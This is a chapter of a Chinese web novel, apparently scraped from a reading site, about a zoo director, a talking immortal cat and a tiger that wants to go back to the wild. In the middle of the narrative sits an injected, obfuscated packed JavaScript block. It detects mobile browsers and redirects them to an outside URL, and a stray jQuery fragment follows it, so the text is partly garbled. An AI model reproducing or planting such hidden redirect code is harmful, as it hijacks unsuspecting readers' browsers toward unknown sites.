弹幕还在实时滚动着,直播间人数已经飙升到七万。
弹幕:虎白糖好忧伤啊
弹幕:不是传统的老虎,看着也不霸气
弹幕:他在说啥啊。。。
弹幕:他在跟我们说话吧,他在看镜头
弹幕:求翻译…
黎修羽听不懂虎白糖说的话,但看见虎白糖的神色越来越忧伤,绿豆大的眼睛里泛起一阵雾气。
他猛地伸出手,但老虎已半个身子探进灌木丛里。
欧若拉大叫一句:“他要死啊!黎修羽!”
猪堡堡瞬间停止哭泣,抽抽鼻子,看着他们。
欧若拉和虎红糖,体型无法与虎白糖相比,她俩用尽所有力气也拖不住他前进的身躯。
虎红糖抱着虎白糖强壮的后腿:“抱不住了…猫仙大人,你可是神仙啊,快用法术呀。”
欧若拉咬着虎白糖的尾巴:“呜…不要哇,我会被罚一万两金子啊…”
因为语言问题,黎修羽无法在短时间内搞清楚状况:“他是因为什么?”
欧若拉呜呜咽咽:“唔,喵呜,他,他想回长白山啊,唔,拽不住了…”
眼见欧若拉即将松口,黎修羽想了想,立即说:“我可以帮你回归栖息地。”
黎修羽的最后一个字节才刚刚落下,欧若拉就觉得口中一轻。
虎白糖马上就放弃前行了。
他默默地退出灌木丛,朝黎修羽走去。
欧若拉和虎红糖立即闪到两侧八丈远开外。
黎修羽猛地身形一晃,向后退了半步。
弹幕:我去,园长小心啊
弹幕:老虎归根结底还是老虎啊,怎么能这么近距离接触?
弹幕:好危险。。。
弹幕:啊啊啊啊啊
欧若拉大叫:“黎修羽,虎白糖要咬…”
她嘴里叽里咕噜不知道冒出多少个泡,终于,能说出完整的词语。
“不…不咬你…!”
欧若拉憋得脸都鼓了,说完话才终于泄了气。
黎修羽也松了口气:“危险动作,请勿模仿。”
虎白糖不语,在距离黎修羽两步远的位置坐下,定定地看着他。
他沉吟道:“小园长,我现在这情况可开不起玩笑。”
欧若拉以虎白糖为中点,弧形走位走到黎修羽身后。
欧若拉探出爪子,拍拍黎修羽的腿,小声地说:“喵呜,你可小心点,他说他开不起玩笑,这架势,可绝不是说说而已。”
虽然黎修羽知道欧若拉说的话肯定是真话,但生理反应下,额角依旧冒出细汗。
他强装镇定地说:“虎白糖,我确定没跟你开玩笑。”
直播间的氛围似乎也受到影响,人数虽然一直在增加,但弹幕的刷屏速度明显减慢了。
虎白糖紧紧盯着他:“小园长,我不相信你。你既然不要这里,又有什么必要帮我?我跟你没攀上交情。你父母都做不到的事情,你觉得你能行?”
欧若拉翻译给黎修羽。
黎修羽张了张嘴,脑子里的主意疯狂旋转。
他看着虎白糖的眼睛,最终选择实话实说。
他面上没什么表情,声音却是坚定的:“虎白糖,以前的人怎么做的,我不了解,但如果你愿意接受我的帮助,我就会尽我所能地给你创造条件。”
虎白糖的绿豆眼里充满了迷惑。
黎修羽继续道:“我帮助你,一是,我不想在我管理这里时,有动物因为除自然死亡之外的原因死去;二是,我最近在某只动物的影响下,偶尔也想多管一件闲事,仅此而已。”
他说话时,全程没有给身后的欧若拉一个眼神,但他能感受到,欧若拉是一直在看他的。
欧若拉钩住黎修羽的裤子。
黎修羽回头看欧若拉。
欧若拉指了指身后的栏杆外的猪堡堡:“那你能不能再多管一件闲事?喵呜?”
黎修羽的眼神从欧若拉飘到猪堡堡。
猪堡堡突然露出个笑,两只大耳朵像安装了马达一样不停抖动:“吼,是俺,是俺。”
欧若拉抬头看黎修羽,琥珀色眸子里的瞳孔已变成两条线:“黎修羽,她说她也需要你的无私奉献哦。”
“否则呢?”黎修羽挑挑眉。
“否则她也去…呃…”欧若拉朝猪堡堡撇撇嘴,“我说不出口,你自己编吧。”
猪堡堡立即接茬:“否则俺也去自杀。”
“是的,她说她也要自杀哎!”欧若拉点点头,又给黎修羽送了一个wink。
黎修羽无语。
他再次看向虎白糖:“你考虑一下,明早喂饭前给我答复。”
欧若拉在黎修羽才回过头时,立即向猪堡堡说:“他默许啦。”
猪堡堡往前拱着鼻子:“感恩力挺,神仙大人我爱您,吼。”
虎白糖没说话,也不再看黎修羽。他走到原先的位置,在虎红糖身边趴下了。
黎修羽在直播间交代完,就关闭了直播。
他锁上百虎园的门,将钥匙收进白色腰包里。
欧若拉看着黎修羽“滋啦”一声将腰包拉链拉得严严实实,便扒拉着黎修羽的裤腿,向上攀爬。
“欧若拉。”黎修羽出言制止。
欧若拉肥肥的腮一使劲儿,胡须就开始上下颤动。
“喵呜,本仙女不想走路啦。”
黎修羽仰头,叹了口气。
像是终于下定了决心,他捏着欧若拉的后脖颈,将她抱入怀中。
他手上动作依然很僵硬,脚下则快步往回走。
带着桃花残香的春风拂过他的发梢,又擦蹭欧若拉的胡须。
他走在路上,依旧没低头,但低着眸子:“欧若拉,你是不是很喜欢给我找事情做。”
他的话是肯定句。
欧若拉枕在黎修羽温暖的臂弯里,闻言,眨眼,看着黎修羽:“是的,是这样的。”
她其实不想承认任何有关于她使坏的事实,但是,她这张嘴总是比脑子先飞出二里地。
黎修羽说:“哦?为了让我跟这里产生更多的羁绊吗?”
欧若拉恍然大悟:“对,你不说我还没意识到我是这个意思,但我的确就是这样想的。”
黎修羽嗤笑一声,自嘲道:“我现在不仅会多管闲事,还会多嘴了。”
欧若拉说:“哎呀,这是坏事儿啊,你已经开始学习我活了五千年的糟粕了…呸…是精…糟粕…好吧。”
她不说话了,她终于知道她这些行为应该被归类到糟粕那一栏了。
她继续道:“我的幻想是,你多跟这些小动物接触,慢慢地,就会放下你对我们的讨厌呢。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539595|203524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
黎修羽做了个了然的表情:“哦,那除了虎白糖和猪堡堡,你是不是早就找好其他目标了?”
欧若拉使劲点点头:“知己!咱俩简直是低山臭水遇雷霆,互为伯牙钟子期啊。”
“都有谁?”黎修羽语气很淡,欧若拉听不出任何波澜。
欧若拉眼珠子一转:“喵呜,比如长颈鹿啦,比如果核泥龟啦,比如巴西貘啦,比如…”
黎修羽很少打断别人说话,但这次,他觉得他有必要。
“好了,回去列份清单给我。”
欧若拉在黎修羽的臂弯里滚了一遭:“你都一一照做?”
黎修羽坦言道:“在我还在这里时。”
欧若拉瞬间炸毛,语调升了八个度:“妈呀,你还是要卖这里?”
黎修羽推开房门,走进去:“我不否认。”
欧若拉觉得自己要晕倒了。
她躺在黎修羽的怀里难过到翻了个白眼,从他怀里跳下去,回头看着他。
“黎修羽我此时此刻真的很讨厌你。”
黎修羽并不惊讶:“今天的小鱼干还吃吗?”
欧若拉不情不愿但动作敏捷地飞奔到饭盆面前。
她伸出肉乎乎的爪子,撅着三瓣儿嘴:“Giveme.”
“吧唧吧唧,小鱼干的头是尖尖的,咬一口,嘎嘣脆,”她轻轻地将鱼头咬掉,肉垫子挪到鱼腹上,“小鱼干的肚子鼓鼓的,再咬一口,糯叽叽。”
“天啊,黎修羽,你的外婆简直是我的灵魂知己。”欧若拉拍拍爪子,露出一双星星眼,“你在做什么呢?喵呜?”
黎修羽坐在沙发上,发梢被傍晚的凉风吹得飘起来。
他没抬眼皮,薄唇轻启:“帮助老虎回归野外涉及到生态学、社会学和动物科学的领域,欧若拉,我在统计这个动物园可以调动的经费。”
“喵呜,真复杂啊,”欧若拉用两只爪子抱着残余的小鱼干,啊呜一口,全都塞进嘴里,“吧唧,我也没有钱哎。”
黎修羽越算越无语。
他搞不懂他父母为什么要扛着巨大的债务压力坚持把这个没有未来的地方办下去。
他把所有能用的经费都加起来,也才刚好够给虎白糖搭建起稍微靠谱的简易野化训练基地。
至于去长白山考察放归栖息地,提供充足的仿真机器猎物,定期评估身体状况,植入定位跟踪芯片……这些事情直接想都不要想。
他现在,立刻马上带着欧若拉跑到旧大桥上砸锅卖铁装疯卖傻呼天喊地,都不可能讨得来这么多钱。
但是…
他放在沙发上的手机响了一下。
或者说,他的手机一直在响,只是他现在才注意到。
他打开抖音,那唯一一条图文的评论区里,最新的评论和私信几乎都是在关心虎白糖的状况。
这里面,也不乏给他出各种稀奇古怪的主意的。
黎修羽想明白了,当下重要的,是给虎白糖把野化训练基地搭建起来,这个搭建过程和后续的训练过程,都可以放到直播间里。
他立即去咨询官方机构,在他的账号上搭建起众筹链接,标题是:小虎回家。
次日。
李大爷拉开动物园的大铁门,放进好几辆铲车和拿着铁锨铲子的黎修羽,和骑在他肩头的,像皇上巡视领地一样的小猫咪。